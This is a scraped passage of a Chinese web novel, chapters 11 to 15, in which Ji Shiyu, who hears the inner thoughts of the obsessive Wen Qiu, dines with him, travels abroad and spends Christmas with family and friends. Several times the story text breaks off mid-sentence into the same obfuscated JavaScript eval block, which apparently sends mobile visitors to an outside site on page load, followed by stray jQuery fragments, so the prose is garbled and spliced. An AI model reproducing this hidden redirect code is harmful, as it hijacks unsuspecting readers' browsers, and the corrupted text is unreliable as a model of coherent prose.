他们快走到停车位的时候,岳裎的电话打来了。 季时昱顺手接听,没有避着闻湫,“你放心,没淋雨,人好着呢。” 岳裎:“那就好,麻烦你送他一程了。” 季时昱不经意回头,对上了闻湫看他的眼神。 炽热、贪念、固执。 闻湫发现自己被抓包了,没有任何不好意思,反而弯起眼眸,对他露出一个很乖的微笑。 11. 一起吃饭 停车场很冷,闻湫穿那么薄,没有表现出分毫在办公室里的冷。 季时昱移开眼神,冷静地往前走,对岳裎说:“小事而已,你接着忙。” 上了车,他问:“还去不去商场?” 闻湫愣了一下,差点把这个理由忘了,扣好安全带,“如果去了,你会等我出来再送我回去吗?” 不会被留在商场吧。 季时昱:“我答应了岳裎将你安全送你回去。” “昱哥,今天这么麻烦你,我都不知道该怎么报答你了。”闻湫说话的语调带着点儿撒娇的意味。 “请我吃顿饭就好。”季时昱经常对柳今需他们这么说,谁知一时嘴快对闻湫说了出来。他动作微滞,补充道,“让岳裎请。“ 闻湫眼睛微闪,笑着说:“我哥太忙了,我请你吧,我知道有家餐馆的味道特别好,你一定会满意的。” 季时昱没应声,算是默认了。 他开车去了附近的商场。 到达目的地,闻湫单独去商场,季时昱待在楼下的咖啡店里等他。 大概二十分钟,闻湫就提着纸袋回来了,只看包装袋外表,似乎是数码产品。 “昱哥,我买好了,我们去吃饭吧。” 季时昱没有问买了什么,“地址。” 闻湫:“离这里不远,我可以指路。” 黑色商务车开离商场,转弯后往前行驶两千米左右,看到一条巷子,车进不去,闻湫熟悉这边的路,给他指了个停车位。 外面下着淅淅沥沥的细雨,季时昱停好车,不过是低头回了两条消息的时间,抬头看到闻湫已经撑着伞在车门外等他了。 他打开车门下车。 闻湫凑过来给他打伞。 季时昱浑身别扭,却没有拒绝,他挺讨厌淋雨的。 伞是正常大小,完全罩住他们两个人有些困难,好在从这里到店里只有很短的一段距离。 到了店门口,屋檐挡住了雨水,季时昱的衣服很干爽,倒是闻湫肩膀上多了些不可忽视的雨滴印子。 季时昱多看了两眼。 闻湫毫不在意地拍了拍肩膀,把雨伞收起来,推门进去,“你相信我,这家店真的很好吃,我经常来,根本吃不够。” 店里的老板看到闻湫,笑道:“小帅哥又来了啊,还是老样子?” 这家店是小经营,规模不大,没有其他饭店那么多服务员。 季时昱扫了眼店里的环境。 挺干净的。 闻湫对老板说:“这次带了我哥来,麻烦您拿下菜单吧。” 老板看到季时昱,笑意更甚:“哥哥长得也很帅,你们先坐,我去给你们倒茶。” 闻湫去了靠窗的位置。 季时昱坐在他对面。 闻湫看着他,乌黑的眸子舍不得移开分毫,没话找话道:“这是老板和她弟弟一起开的店,弟弟在后厨,她在前面忙,我和我朋友经常来,都认识了。” 季时昱对这些不感兴趣,语气淡然地嗯了一声。 闻湫:“昱哥,你是不是很讨厌我?” 季时昱:“没有,别多想。” 这是实话,他本来就不讨厌闻湫。避着闻湫只是为了防止那些事发生。 现在看来,事实正在逐渐偏离原书剧情,他不知道后面是否会出意外,在彻底安心之前暂时不想和闻湫走那么近。 书里的闻湫过得太痛苦了,他自己同样饱受折磨,家人和朋友的结局时刻让他警惕着。 闻湫听到回答,扬起嘴角,笑意不入眼,“不讨厌我就好,如果被昱哥讨厌了,我会很难受的。” 老板端来了茶水,把菜单放到桌上。 季时昱不知道什么好吃,将桌上的菜单推向闻湫,“你来点。” 闻湫:“昱哥有忌口的吗?” 季时昱:“不吃辣。” 闻湫点了几样,把菜单递给老板,“就这样,麻烦了。” 老板拿着菜单离开。 接下来的时间里,他们几乎没话说,闻湫的目光停留季时昱身上,被抓到也不心虚,像在停车场里那样,露出一个非常乖巧的微笑。 没过太久,老板端着菜摆上桌。 闻湫拿起筷子,催促道:“昱哥,你快尝尝。” 季时昱知道有些不起眼的小店味道不错,年少时跟岳裎他们几个逛遍学校附近的小吃街和店铺。毕业后直接进入季氏工作,应酬缠身,基本没机会再来这样的小店。 季时昱拿起筷子,夹起小炒尝了口味道,在闻湫期待的眼神中点点头。 “我就知道你会喜欢的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天晴后依旧寒冷,机场里熙熙攘攘,大多数人都套上了羽绒服。 飞往国外的航班缓缓起飞,季时昱坐在头等舱里,拉下额头的眼罩闭眼休息。 一晃十多个小时过去,来接他们的人早已在机场等待。季时昱接着电话,看到来接的人,顺手把行李箱递过去。 关秘书认识他们,和他们跟在季时昱后面窃窃私语。 “关秘书,你的行李也交给我吧。” “不不不,你是季总的人,这点东西我自己来就好。” 出了机场,季时昱还在接电话,话说到一半,回头看向没有拿行李的那个人,“带路。” 男人快步走到前面带路。 季时昱待会儿要去见他爸妈,让关秘书把他的行李先带去酒店,之后去了他爸在这边买的住宅,在那里吃了顿饭就离开了。 回到酒店,天还没有完全黑。 季时昱在飞机上睡了很久,这会儿不困,打开电脑处理来之前没能完成的工作。 电脑上的微信自动登录,几道提示音响起,闻湫的头像和名字排在第一位。 消息是几个小时前发来的,他手机有收到,白天接了几个电话,微信里的消息一条没有看。 季时昱点开了消息。 【昱哥,你这周末有时间吗?】 隔五分钟。 【我没有别的意思,我表哥说了,请你吃一顿饭没有诚意,让我多请几顿好好谢谢你。】 又隔五分钟,发来一个猫猫探头的表情包。 季时昱伸出手,手指快速在键盘上敲出一行字发送:【我在国外,周末不回去。】 他退出聊天框,开始忙工作。忙到深夜,困得睁不开眼,他揉了下太阳穴,合起电脑放到床头柜,起身去浴室洗澡,出来后躺在床上休息。 躺了快二十分钟,没有困意。季时昱拿手机点开了闻湫回复的消息。 【你哪天回来呢?】 季时昱直截了当地回了‘不知道’三个字。 他玩了会儿单机游戏,困意再次来临,关了手机屏幕放在床头,闭眼睡觉。 一夜无梦。 上午九点,铃声响起。 季时昱多躺了五分钟才起。快十点时,他和关秘书在楼下汇合,坐车去谈合作。 关秘书把打包好的三明治递给季时昱,“有点热,您现在吃刚好。” 季时昱接下,拆开包装咬了一口,低头翻阅着提前准备好的合同。 “季总,您有电话。” 因为要谈合作,季时昱在上车前把手机调成了静音。 关秘书看到手机上熟悉的名字,没忍住提醒了一声。 季时昱看到是岳裎的电话,放下文件,左手拿着三明治,右手接听电话。 “找我有事?” “这不是圣诞节快到了吗,我提前约好了展绮,他那天虽然不一定能抽出时间过来,但你和今需都在A市,到时候我做东,给你们俩一个宰我的机会怎么样?”岳裎声音愉悦。 季时昱:“发生什么好事儿了?” 岳裎:“我爸跟闻湫他们家那笔生意成了,我爸高兴,把大部分功劳归在了我身上,又送了我一辆车,这不得好好庆祝一下。” 季时昱:“闻湫也去?” 岳裎:“当然去啊,这其中少不了他的功劳。” 季时昱:“我知道了,到时候再说。” “行,我先不说了,刚跟那帮老家伙应酬完,快累死了,我得洗个澡睡觉。”岳裎挂了电话。 季时昱接着看合同。 合作顺利谈了下来,关秘书明天回国,季时昱要去见个朋友,会在国外多待一天。 他开车去了隔壁城市,到的时候已经是傍晚,朋友正在一家咖啡店里等他。 推门进去,一眼看到坐在靠窗位置的人,他走过去坐下,“来多久了?” 晋垣眼里含着不可忽视的笑意,“没多久,猜到你会提前十分钟到,卡着时间比你早一点儿。” 季时昱接过服务员递来的饮品单,低头看着,“以后还回国吗?” 晋垣摇头:“不回去了,他们那些人见了我指不定会说什么风凉话。” 季时昱和晋垣认识十几年了,第一次见面是在季时昱外公所居住的大院里,晋垣和岳裎他们不熟悉,跟季时昱却是实打实的兄弟。 季时昱:“阿姨怎么样了?” 晋垣叹声气:“老样子,偶尔能清醒一会儿,但不能提我爸。” 季时昱点好了咖啡,把饮品单还给服务员。 晋垣:“我爸他……还好吗?” “来之前我去探望了伯父,脸色好多了,”季时昱无声敲着桌子,“伯父让我转告你,他会好好表现,争取减刑早点出来。” “希望如此吧,你往后少跟我联系,万一让他们知道,说不定会在背地里臆造一些对你不好的事。”晋垣脸色有点发白。 “我跟他们面都见不上,况且他们的手伸不到这里。”季时昱不在意别人怎么看他。 二人口中的他们是圈里几个喜欢落井下石的人,看到个什么事会非常夸张的造谣传播。 “时昱,我和你表哥……” 季时昱:“他两个月前往上升了,我舅妈催他找对象,他跟聋了一样。” 晋垣点了点头,弯起唇:“挺好的,你也是时候找个伴了。” 季时昱脑中闪过原书里他和闻湫的爱恨纠缠,难得失笑:“暂时没兴趣,过两年再说吧。” 晋垣见他回答的有点迟疑,笑着问:“总觉得你哪里变了,却又说不出具体。” 季时昱目光困惑。 晋垣:“换成以前的你,可能会说‘不找,说不定哪天会碰到个一见钟情的人’,不管那个人会不会接受你,你都会想方设法地和他在一起,付出任何代价都愿意。” 季时昱指尖微动,不动声色道:“……为什么这么说?” 晋垣:“直觉。” 服务员端来了季时昱点的咖啡。 晋垣笑着提起以前的事。 季时昱却因为晋垣刚才的话陷入了沉默。 下午,季时昱跟晋垣分别,在一家酒店好好休息了一晚上,次日快中午起来赶飞机。 回到国内的晚上,他没来得及休息就去谈了个项目,离开之前,跟对方加了联系方式。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814607|158654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无人注意的角落里,有人站在暗处将这一幕看在眼里,眼底蔓延着阴郁,攥着易拉罐可乐的手指不自觉使力,瓶子被捏出了形状,里面褐色的液体流得满手都是。 “闻湫,你站在这儿干嘛呢。”季忱走过来问。 闻湫拿着可乐的那只手背向身后,手指还在用力,他深吸了一口气,脖颈上明显凸起的青筋逐渐平下去,摇了摇头,“没事。” 季忱抬眼在周围扫视了一圈,“关秘书的消息不灵通啊,我都没看到我哥的身影,你看到了吗?” 闻湫:“没有。” 季忱:“算了,咱们回去吧。” 闻湫:“为什么不打电话?” 季忱笑道:“我哥有正事的时候会把手机静音,我刚就打了一个,果不其然没有人接。” 闻湫眼眸微闪,“正事?” 季忱:“是啊,关秘书说我哥要谈个合作。” 那一瞬间,闻湫心里的嫉妒消散了不少。 闻湫早就意识到了,他不喜欢季时昱和别人单独相处,刚才的那一幕虽然只是在谈笑,但依旧刺痛了他的眼睛。 这样不行,得克制一点。 季时昱回去的路上,戴着耳机接到了老太太的电话,聊了一路才挂断。 平安夜那天,季时昱回了老宅。 季帆嵘夫妇去外省了,目前不在A市,老宅里清净了不少。 中午十一点多,季时昱和老太太面对面而坐,老爷子坐在主位,笑呵呵地说着从老朋友那里听到的趣事。 老太太给季时昱夹了菜,不经意问道:“你最近看上谁了?” 季时昱微怔,猜到他奶奶听到了关于他的传言,“没看上谁,您听说的那些事都是别人乱传的。” 老太太叹气:“什么时候变成真的就好了。” 老爷子赞同点头。 老太太还想说什么,老爷子兜里的电话响起,饭桌上安静下来,老爷子拿起手机,头往后仰,眯着眼睛看联系人的名字。 季时昱扫了眼,提醒道:“是季忱。” 老爷子接了电话,季时昱隐约能听到季忱的声音,具体说了什么听不清楚。 不知道那边说了什么,老爷子脸上笑出了褶子,“好好好,你带那孩子来吧,离家那么远回不去,心里肯定不好受,爷爷找人收拾房间,让他在这住一晚上。” 不知为何,季时昱眼皮一跳。 老爷子瞥一眼季时昱,笑道:“你哥在家呢。” 季时昱确定了,季忱今晚要带闻湫来老宅。 老爷子挂了电话,问他:“你晚上还回去吗?” 季时昱颔首:“回。” 老爷子:“别回了,帆嵘不在,你没必要天天去外面住,今晚留下陪我说说话。” 季时昱找不到任何理由反驳,只好点头答应。 下午三四点左右,老爷子接了季忱的电话,挂了电话安排司机去接季忱他们过来。 季时昱坐在一楼的客厅内陪老太太说话,闻湫进来的那个瞬间,他抬眸看了过去。 在原书剧情线中,他在平安夜这晚……情不自禁地吻了闻湫,然后被闻湫扇了一耳光。 13. 拙劣演技 季忱大步走进来,喊了声爷爷奶奶,问季时昱:“哥,你什么时候回来的?” 季时昱:“早上。” 季忱“哦”了声,接着跟老太太介绍起闻湫。 闻湫跟二老打过招呼后,视线落在季时昱身上,“昱哥。” 季时昱轻轻颔首。 季忱记得租房那次,季时昱说过忘记闻湫的话,他皱起眉,看他哥也不像是把人忘记的模样,可能记错人了吧。 “对了哥,闻湫想找个寒假工,你到时候能不能通融一下让他去季氏啊。”季忱抱着老太太的胳膊不由收紧。 老太太听季忱说过闻湫的事。 跟家里关系不好,寒假过年不回家,并且家里没有一个人催他回去。 老太太当时听得心软,现在听到这话,心里挺不是滋味儿,怜爱道:“时昱,我看闻湫这孩子挺机灵的,不如你安排他做你一个月的助理怎么样?” 季老爷子对于走后门的事不认同,但是不想跟老太太反着来,干脆不出声了。 季忱:“对啊,你工作那么忙,关秘书更是忙得抽不开身,你给闻湫一个机会吧。” 闻湫看向季时昱,眼里闪着细碎的星光。 季时昱从小就听老太太的话,尤其是这两年,什么事都依着老太太。他语气不夹杂任何私人感情:“试用期三天,如果你在工作中有任何懈怠,立刻走人。” 他给机会了,能不能抓住全看闻湫能力如何。 老太太闻言,没有再多插手。 对闻湫来说,这无疑是一个特别好的消息,保证道:“昱哥,我一定会好好干的!” 季时昱喝了口水,没理他。 闻湫和季忱对视一眼,后者比了个手势,闻湫不动声色地点头。 季老将这一切看在眼里,看闻湫的眼神多了几分怀疑。 晚上,闻湫被安排坐在了季时昱身边,他们俩坐在一侧,老太太和季忱坐在对面,主位上依旧是老爷子。 桌上摆了几道菜,其中两道是S市的特色,老太太专门让厨师做的。 闻湫吃着吃着就红了眼。 老太太趁机问:“怎么样?是不是跟你家里的味道一模一样?” 闻湫点头,又摇了摇头,故作轻松地笑道:“跟我们那里的味道一样,但是我家里人太忙了,我从小是被保姆带大的,没吃过我爸妈做的饭,而且他们太忙了,我很少有机会见到他们。” 老太太哎呦一声,更加心疼他了,嘴上说了特别多的好话。 什么“好孩子别哭,以后常来我们家玩,把我们这儿当成第二个家。”“你爸妈太忙了没机会照顾你,但是不代表他们不爱你。”这类的话一直往外蹦。 季忱虽然常被他爸打,但是跟家里人的关系挺好的,听不得这种话,眼睛也跟着红了。 闻湫微微仰起头,把眼泪逼回去,哽咽道:“我知道他们很忙,我理解的,只是他们忙到都没时间回家看看我,我们一年到头见不了几面,每次都是打钱来安慰我,我真的不想要那么多钱。” 季忱一秒回神:“你傻啊,爱都没了,更不能放过钱!” 闻湫:“钱够花就行了。” 季时昱抿了抿嘴,这不就是网上‘我不要很多钱,我要很多爱’的写实。 要不是他调查过闻湫,差点就信了。据他所知,闻湫根本不在意跟家里人关系如何,没有去尝试过缓和。 老太太不上网,不知道网络上有那么一群人,心疼道:“是啊,只给钱又不能填补心里的空缺。” “其实可以的。”季忱桌下的腿被踹了一脚,想到和闻湫的交易,立马点头:“是啊是啊,父母的爱才是良药!” 季时昱:“……” 老太太这会儿完全沉浸在闻湫没有感受过亲情的悲伤中,没有看出来季忱的拙劣演技。 老太太这样,也是跟她自小的经历有关,总之有些复杂,所以季老爷子和季时昱不会在老太太面前说风凉话。 吃过饭,老爷子打开电视看新闻,老太太坐在沙发上跟亲戚打电话说事情。 季忱喊上闻湫一起打游戏。季时昱则是去了书房处理一些工作。 晚上九点多,季时昱正开着视频和某总监讨论事情,书房的门被人从外面敲响,他以为是老太太让人来送水,下意识说了声进,低头看着文件,跟视频里的人交代事情。 屋内响起开门关门的声音,脚步声离书桌越来越近,一杯水被放到了桌上。 季时昱迟迟没有等到送水的人离开,他抬起头,对上一双漆黑的眼眸,捕捉到眸底深处浓稠的贪欲一闪而过,速度快的仿佛是他的错觉。 他拿着文件的手一顿,“你想说什么?” 电脑屏幕上,正开着视频的总监疑惑“啊”了一声,“季总,我没有意见啊,我都跟着您走。” “不是跟你说话,是……”季时昱觉得没有解释的必要,道:“今晚先这样,剩下的事明天到我办公室说。” “好的,您早点睡。” 季时昱挂了视频。 闻湫站在桌边,明明身后就有一把椅子,但他没有坐下,“寒假工的事我可以另找别的工作,季忱听我提过一句,我没想到他今天会说出来,给你添麻烦了。” 他垂着眼,微微低头,灯光照在白皙的脖颈上,隐隐能看到皮肤下泛着青色的筋脉。 季时昱放下文件,“……我已经答应奶奶了,后续事情找我秘书安排好了,寒假后你去季氏报到。” 闻湫想说什么,忽然一阵风吹了过来,只穿了件单薄卫衣的他打了个寒颤,抬眼看向窗户,“昱哥,你怎么不关窗户啊,不冷吗?” 说着,就想过去关窗户。 “不用关,我不冷。”季时昱十分钟前和其他人讨论事情讨论的有点火大,干脆打开窗户吹了会儿风。 幸亏刚才打开了窗户,不然他又要听到闻湫的心声,每次听到那些话都要心神不宁好久。 闻湫站在那儿,眼神真挚道:“昱哥,你相信我,我没有想要走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814608|158654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捷径,我不知道事情为什么会变成这样。” 事情为什么变成这样,当然是闻湫一手促成的,他知道老人家容易心软,故意装可怜博取同情。 季时昱没有拆穿他,“我知道,你出去吧,我还在工作。” 闻湫看了他一会儿,特别不舍,“那我走了。” 季时昱点头。 闻湫三步一回头的离开了书房。 季时昱端起桌上的那杯水,仰头饮了小半杯,放下杯子,手握鼠标接着忙。 忙到凌晨,圣诞节到了,他所在的一个小群里弹出红包提示。几秒过去,越来越多的群都发了红包,庆祝圣诞节快乐。 季时昱还收到了闫女士的消息。 【小昱,给你买的圣诞礼物到了,我让快递员放门口了。】 紧接着又发来了一条消息,告诉他礼物寄到了哪里,毕竟他在A市的房产太多了,没有固定在一个地方住。 他看到上面的地址,眉心微拧。 闫絮把礼物寄到了租给闻湫的那间公寓里。 这么晚了,他不打算出门再取,也没有让其他人帮忙取。那里到处是监控,门口还单独安装了一个监控,东西放在那儿不会丢。 这么想着,他打开电脑调出了那里的监控。 季时昱注重隐私安全,不习惯有人跟着,住的地方会安装很多监控,不安装在屋里,主要是门外或是窗外的位置,那些位置能清楚看到有没有小偷潜入。 物业安保虽然不错,但他不放心,随时能看到才可以。他找到那个地方的监控视频,门外有一个专门储存快递的小柜子,柜子上放着几个快递,快递员是下午把盒子放上去的。 柜子上有很多快递,他不在那里住了,显然不是他的,也就是说那里面的其他快递是闻湫的。 监控视频再往几个小时前调,所有快递好好放在那里,除了闻湫在期间进出,就只有保洁在走廊里打扫了一下卫生。 他加快倍速看了好几天的监控,都是闻湫、保洁和快递员的身影,除此之外没有其他人来过。 季时昱放心退出去,起身离开书房回屋休息。 圣诞节这天的天气出奇的好,暖和了一点儿,不像前两天那样,一出门就冻得打哆嗦。 季时昱吃早饭时没见到闻湫和季忱,随口问了一句。 老太太:“这俩孩子一大早就出门了,不知道干什么去了,年轻人就是有活力。” 季时昱点点头,没再说话了。 他吃过饭,回房间换衣服,随后开车去公司,半路拐去了闻湫那里拿快递,到一楼刚好碰到要上来的闻湫。 两个人在电梯口相遇,闻湫下意识问:“昱哥,你怎么在这儿?” 季时昱:“拿点东西。” 闻湫看到他手里的盒子,哦了一声,想说什么却被打断了。 “赶时间,先走了。”季时昱没有给他多说的机会。 闻湫眼神黏在他身上,直到人消失在转弯处也没舍得收回目光。 14. 择偶标准 季时昱到了公司,昨晚跟他视频通话的总监敲门进来,二人在办公室待了一上午,期间只让人送了一壶泡好的茶。 傍晚下班,他去了岳裎订好位置的菜馆,下车后让司机先走了。 岳裎提前说过闻湫会到场,他在走廊碰到接电话的闻湫并不惊讶,闻湫没有看到他,他没吭声,默默从闻湫身后路过。 他没有回头,也没有看到闻湫投过来的眼神。 闻湫垂着脑袋,因角度问题,黑色碎发堪堪挡住了眼睛,眼底深处带着浓郁化不开的痴念。他听耳机那边说了几句话,神色愈发阴冷。 包间里,岳裎坐在季时昱身边,低声问:“闻湫跟我说,他昨晚住在你们家了,怎么回事儿?” “他和季忱是朋友。”季时昱端起桌上倒好的清茶,杯子凑到嘴边抿了一口,微微发白的嘴唇被茶水润得有了点颜色。 “我还没住过你家,他居然住上了。”岳裎多少有点吃味儿。 季时昱:“你没说过留下。” 岳裎:“你可以留我啊!” 季时昱:“他是我奶奶留下的。” 岳裎叹气:“我去过你们家那么多次,奶奶一次都没说过让我住下,真伤心啊。” 柳今需推了推眼镜,笑得意味深长:“你以前谈恋爱找时昱帮你打掩护,传出过在一起的谣言,老太太能心平气和地跟你说话就不错了。” 季时昱:“……” 岳裎咳了声,“大家就喜欢瞎传,这不离谱嘛。” 他们三个聊着,展绮姗姗来迟,摘下墨镜,不管桌上是谁的水,端起来直接灌下去。幸好放了一会儿,现在温度刚刚好,不然能把嘴巴烫出泡。 柳今需:“被狗仔跟了?” 展绮拉开椅子坐下,晦气道:“别提了,躲狗仔还遇上了私生饭。” 柳今需安慰了几句,让他别生气。 展绮点头,想起件事儿,看向季时昱,“我听人说,你有喜欢的人了,真的假的?” 如果换个人,他不至于问这种问题,但季时昱不同,母单到二十多岁的人,很难再遇到心动的对象。 “假的。”季时昱喝着茶。 岳裎眼里流露出好奇,“既然是假的,你为什么不说清楚,圈里好几个人都在跟我打听你的感情状况。” 季时昱:“为了挡桃花。” 岳裎:“你这招坚持不了太久,不如找个人演场戏,他们看到真有这么个人就老实了。” 季时昱皱眉,“麻烦,不找。” 坐在里面的柳今需刚好能看到包间那扇门,眼神敏锐捕捉到门动了下,笑着问:“你的择偶标准是什么?” “乖一点。”必须得长在他审美观上。 季时昱在心里默默加了句。 岳裎笑出了声,“你能不能给点具体的,符合这点的到处都是。” 柳今需:“乖一点的前提是要好看,时昱眼光可高着呢。” 季时昱这点随闫絮,属于重度颜控。 展绮笑道:“可以在娱乐圈找。” 柳今需话锋一转,“真正的恋爱还是要看感觉,我以前跟你择偶标准一样,后面谈了两个都不符合的,期间照样不影响我们热恋。” 季时昱:“然后你被分手了。” 柳今需:“呵呵。” 季时昱:“不管怎么样,现在没那个打算,过几年再说吧。” 包间的门被人推开,打完电话的闻湫进来了。 季时昱眸光一闪,抬眸看柳今需,后者转头跟展绮商量事情。 他们聊了一会儿,服务员推着车来上菜。 岳裎:“小湫,你寒假真不回去了?” 闻湫坐在季时昱对面,微微一笑:“是,我寒假会进季氏,提前跟在昱哥身边实习。” 柳今需看向季时昱,发现他正悠闲地低头看手机,顿时一口气提不上来,叹道:“突然想到我有个兄弟快开春了,为他高兴。” 季时昱:“……” 他不是傻子,当然能听出什么意思,拿手机给柳今需发了条私信,解释了闻湫能去季氏实习的原因。 柳今需太惊讶了,没顾着看手机。 季时昱不是那种,别人说几句软话就同意走关系的人。 岳裎将这一切归于季时昱对他的兄弟之情上面,他一脸感动:“时昱,没想到你这么把我的话放在心上,你真是太够哥们儿了!” 季时昱:“……” 刚看完私信的柳今需:“……” 闻湫笑而不语。 展绮一直在吃东西,他平常要注重身材管理,碰到这种经纪人看不到的饭局,当然要少说话多吃饭。 他们开了瓶白酒,后面基本在聊圈里的事。 岳裎喝着酒,时而看闻湫,时而看展绮。他心想,闻湫藏得够深的,在偶像面前一点激动都没有暴露出来,他也疑惑闻湫为什么还不提合照的事,这个表弟性格太腼腆了。 饭局结束时已经十一点多了,展绮先一步跟着来喊他的助理走了,柳今需和岳裎互相勾搭着背往外走。 季时昱处于微醺状态,没让人扶。 闻湫一滴酒没有沾。 出了门,岳裎拿出车钥匙,“小湫,你开我的车送我们回去。” 他们没有喊人来接,唯一没喝酒的闻湫成了今晚的司机。 闻湫开车,岳裎坐在副驾,季时昱和柳今需坐在后面。 车里放着岳裎经常听的劲爆DJ,吵得人睡不着,柳今需说小点声音,音乐声小了很多,岳裎说大点声音,音乐声变大了。 柳今需又说小点声,岳裎就像是跟他杠上了一样。 闻湫两边为难,寻求的目光通过后视镜看着后面的季时昱。 季时昱察觉到有人看自己,对上镜子里为难又委屈的目光,喉咙有些涩,“把音乐关了。” “嗯嗯。” 闻湫得到了最终答案,立马关了音乐。 岳裎火大道:“他是你哥还是我是你哥?” 闻湫专心开车,不理他。 季时昱有些忍俊不禁,抬起手掩着嘴巴笑了一下。 没了吵闹的音乐,柳今需靠着车窗睡着了。 前面拐了个弯,柳今需随着拐弯的力度,一下子歪了身体,大半个身体靠在了季时昱身上。 车里开着暖气有点热,季时昱不想有人靠这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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几乎是车门关上的一刹那,许久没有听到的心声突然袭来。 【终于没有其他人打扰我和哥哥了。】 【快零点了,平安夜没能得到的吻,圣诞节也得不到,好可惜啊。】 季时昱按耐住想打开车窗吹冷风的冲动,外面冷得不像话,打开窗户说不定会吹感冒。 车快开出小区了,闻湫轻声问:“昱哥,我送你到哪儿啊?” 季时昱说了老宅的地址。 闻湫乖乖点头:“好的。” 【我假装开慢一点,这样就可以跟哥哥多待一会儿了。】 闻湫对附近不熟悉,再加上是晚上容易错过路口,在送岳裎回来的路上就打开了导航。 闻湫耳中只有导航的声音,季时昱却能听到另一道声音。 【如果反过来,换成我亲吻哥哥,他会不会给我一巴掌?好期待啊。】 季时昱眼皮跳了跳,被扇巴掌有什么好期待的。 【算了,我不敢。】 【哥哥喜欢乖一点的,我要学会如何讨他欢心。】 季时昱垂目,他们在包间聊得话果然被闻湫听到了。 15. 好事将近 季时昱听了一路的心声,车终于开到老宅,迎面碰到了刚玩完回来的季忱。 他拿着外套下车,听见了季忱疑惑的声音。 “哥?”季忱走了过来,“你今晚不回你那儿住啊?” 季时昱:“有份文件落这儿了。” 季忱跟着他往大门走。 老宅的门通过指纹解锁缓缓向两边打开,他们正要进去,身后传来一道声音:“昱哥,你手机忘车里了。” 季时昱回头。 闻湫追了过来,把手机递过去。 季时昱接下,道了声谢, 季忱好奇看着闻湫,问:“怎么是你送我哥回来的,你们俩干什么去了?” 闻湫:“我表哥喊我去吃饭,没想到昱哥也在。” 季忱哦了声,凑到他身边低声询问一些问题。 闻湫时不时出声解答。 季时昱扫了他们俩一眼,“你们聊,我进去了。” 季忱点了点头。 闻湫的目光跟着前面那道身影移动,直到进屋,什么也看不到了,才意犹未尽地收回视线。 他们在楼下聊了十分钟之久,冷风呼啸吹着,季忱冻得打了个哆嗦,他从闻湫口中得到想要的答案,心情雀跃,说:“太晚了,不如你别回去了,今晚还在我们家住。” 闻湫瞅了眼楼上亮了灯的房间,故作迟疑:“不太方便吧。” “有什么不方便的,”季忱想起白天的事,笑容变得更加灿烂,“我们不是好哥们吗,你帮了我那么多,在我家住几晚怎么了。” “既然这样,今晚就打扰了。”闻湫声音如常,只有他自己知道此刻有多兴奋,他喜欢离季时昱近一点,哪怕没有任何交流。 季时昱不知道闻湫在老宅住下,他半夜口渴到楼下接水,听见有人下楼,以为是季忱,谁知一转身碰见了从楼梯下来的闻湫,笑眯眯地跟他打招呼。 “昱哥,晚上好。” 闻湫刚洗过澡,穿着浴袍,头发丝微微潮湿,脸颊蒸得有点红。 季时昱怔了一会儿,喝了口水,对他点头。 闻湫眨巴眨巴眼睛,问:“昱哥,这里有吃的吗,我晚上没吃饱,有点饿了。” “冰箱里,自己翻。”季时昱端着水杯从他身边走过去。 闻湫亲眼看着季时昱上楼,没有去翻冰箱找吃的,本来就不饿,他浴室出来听到了季时昱房间的开门声,专门跑下来见面的。 为了演得真一点,他在楼下待了十多分钟才上去。 第二天早上,季时昱坐在餐桌前用早餐,听到楼梯方向响起季忱和闻湫的交流声。 没过多久,他们下了楼,坐在季时昱对面的老太太喊他们来吃早餐。 闻湫拉开季时昱身边的椅子坐下,“昱哥。” 季时昱颔首。 季忱坐在老太太身边,打了个哈欠,回头问林管家有没有重口味的早餐。 林管家微笑:“二少爷,早上不能吃太重口的。” 季忱还想说话,老太太咳了声,他立马安静。 老太太:“你上次在学校胃疼的事都忘了?” 季忱嘿嘿笑了声:“没忘,多亏闻湫大半夜的拖着我去挂急诊。” 老太太看闻湫的眼神更加喜爱了,“真是个好孩子。” 闻湫不好意思地低头笑笑。 季时昱喝了口粥,起身,“我吃好了,走了。” 季忱:“哥,你能不能顺路送我们一程?” 闻湫抬起头,眼含期待。 季时昱:“让司机送。” 老太太:“是啊,待会儿让司机送你们,时间早着呢,不会迟到。” “好吧。”季忱咬了口煎蛋,含糊嘟囔:“明明以前也这样啊,今天怎么了。” 闻湫眼眸闪了下,虽然觉得可惜,却不能开口说什么。 . 圣诞节过去两天,季时昱舅舅的生日到了,他那天带了两箱好酒去了闫家。 